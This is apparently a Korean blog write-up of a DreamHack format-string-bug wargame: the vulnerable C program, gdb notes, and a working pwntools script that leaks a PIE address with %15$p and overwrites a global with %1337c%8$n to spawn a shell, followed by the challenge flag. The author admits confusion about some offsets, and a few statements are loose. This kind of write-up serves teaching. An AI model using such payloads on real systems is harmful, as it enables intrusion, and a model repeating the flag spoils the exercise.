본문 바로가기

Pwnable

[DreamHack] format string bug Write-Up

문서화 기반 : Exploit Tech: Format String Bug | Dreamhack

 

 

PIE가 활성화되어 있다.

PIE로 인해 코드영역의 주소가 계속 바뀌니까 changeme의 주소도 계속 바뀐다.

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

 

get_string()을 보면 buf에 4바이트까지 입력 가능하고 \n을 0으로 바꿔준다.

사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하니까 pinrtf(buf)에서 fsb가 발생할 것으로 예상된다.

changeme 값이 1337이면 쉘을 획득할 수 있으니까, 포맷스트링으로 값을 1337로 바꾸는 방식으로 접근해보자.

 


Exploit 구성

 

 

printf부분 : 0x00000000000012df <+76>: call   0x10e0 <printf@plt>

 

printf부분에 break 걸고 실행해준다.

 

 

 

run으로 프로그램을 실행하면 get_string함수에서 입력을 받는다.

특정한 값을 입력하면 printf 함수를 호출하기 직전에 bp가 걸린다.

AAAAA 입력해보자

 

이때 rsp를 출력해보면, rsp+0x48 위치에 0x555555555293이 저장되어 있다. (이부분 머지....  rsp+0x48 위치를 왜 찾는건지 모르겠음) -> 걍 아무거나 가져온거임 offset은 변하지 않으니까 가져와서 옾셋 따기 위해서 걍 암거나 가져온거,,,

 

vmmap을 보면 base주소(offset : 0x00)가 0x555555554000인 걸 볼 수 있다.

 

 

rsp-0x48에 저장되어 있는 주소와 PIE base 주소 간의 offset : 0x55555555293 - 0x555555554000 = 0x1293

 

from pwn import *

p = remote("host3.dreamhack.games",14338)
e = ELF('./fsb_overwrite')

p.sendline(b"%15$p")
addr = int(p.recvline()[:-1],16)

cb = addr - 0x1293
changegame = cb + e.symbols['changeme']

p.sendline(b"%1337c%8$n".ljust(16)+p64(changegame))
p.interactive()
x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달한다. 예를 들어 printf("%d %d %d %d %d %d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9); 를 호출하면 1, 2, 3, 4, 5, 6, 7, 8, 9 는 각각 RSI, RDX, RCX, R8, R9, [RSP], [RSP+0x8], [RSP+0x10], [RSP+0x18]에 전달된다. 
-DreamHack fsb 강의 中-

 

 

 

 

포맷 스트링 취약점(FSB)을 이용하여 주소 Leak
%15$p를 보내서 15번째 오프셋의 주소를 leak한다. 왜 15번째냐면, AAAAAAAAAA 가 저장된 곳은 rsp, 즉 6번옾셋이며 0x0000555555555293까지의 거리를 따지면 이 주소는 15번째 오프셋에 위치하게 된다. 따라서 p.sendline(b"%15$p")로 15번째 오프셋에서 주소를 받아올 수 있다.

 

Leak한 주소에서 베이스 주소를 계산
이제 leak한 주소에서 프로그램의 베이스 주소를 계산해야 한다. 

leak한 주소에서 미리 구해놓은 offset(0x1293)을 빼면 베이스 주소(cb)가 된다. cb= addr - 0x1293

 

changeme 함수의 주소 계산
 이 PIE base 주소(cb)에 프로그램 내 changeme 함수의 오프셋을 더해 changeme 함수의 실제 주소(changegame)를 구한다. 이를 위해 cb + e.symbols['changeme']을 계산한다.

 

포맷 스트링을 이용한 changeme 값 변경
changeme 함수의 값을 바꾸기 위해 포맷 스트링을 이용한다. %1337c%8$n을 사용하여 값 1337을 8번째 오프셋에 저장하는 방식이다. 앞서 AAAAAAAAAA를 입력했을 때 6번 오프셋에 저장되었으므로, 저장할 주소는 8번째에 위치하게 된고 하는데..... 잘 모르겠다 다시 한 번 찾아보기

8번째 변수가 changeme를 가르키는 이유


또한 포맷 스트링에서 %1337c%n으로 값을 저장할 때, 해당 형식의 길이가 10자이므로 가까운 8의 배수로 맞추기 위해 6자를 더 추가해줘야 한다.

 

포맷 스트링을 맞추고 %8$n으로 값을 저장하면, 뒤에 저장할 주소인 changeme의 주소가 바로 붙어 있으므로, 값을 바꿀 수 있다.

 

Flag is DH{b283dec57b17112a4e9aa6d5499c0f28}